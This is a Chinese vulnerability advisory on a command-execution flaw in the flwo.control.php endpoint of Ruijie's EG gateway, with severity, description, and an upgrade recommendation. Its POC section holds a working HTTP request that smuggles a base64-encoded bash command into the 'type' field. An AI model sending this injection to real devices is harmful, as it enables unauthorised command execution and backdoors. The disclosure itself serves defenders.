漏洞预警 | 锐捷EG易网关命令执行漏洞

0x00 漏洞编号
  • 暂无

0x01 危险等级
  • 高危
0x02 漏洞概述

锐捷EG易网关是一款综合网关产品,集成了先进的软硬件体系构架,并配备了DPI深入分析引擎、行为分析/管理引擎。这款产品能在保证网络出口高效转发的基础上,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。

0x03 漏洞详情

漏洞类型:命令执行
影响:执行任意命令
简述:锐捷EG易网关的flwo.control.php接口存在命令执行漏洞,获取登录权限的攻击者可利用该漏洞执行任意命令,写入后门,获取服务器权限,进而控制整个web服务器。 

0x04 影响版本
  • 锐捷EG易网关

0x05 POC

POST /flow_control_pi/flwo.control.php?a=flowOpen HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Content-Length: 11Accept: */*Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Content-Type: application/x-www-form-urlencoded; charset=UTF-8Cookie: {{cookie}}Origin: {{BaseURL}}Referer: {{BaseURL}}/rac_pi/surfilter_selservice.htmSec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Forwarded-For: xX-Requested-With: XMLHttpRequestAccept-Encoding: gzip
type=%7Cbash+-c+%27echo+cm0gLXJmIC4uLzEyMzMyMXF3ZS50eHQgJiYgZWNobyBGMDhiYmZiMkJDOGNlZUQ2ID4gLi4vMTIzMzIxcXdlLnR4dCAyPiYx+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本,建议用户升级到安全版本
https://www.ruijie.com.cn/


免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐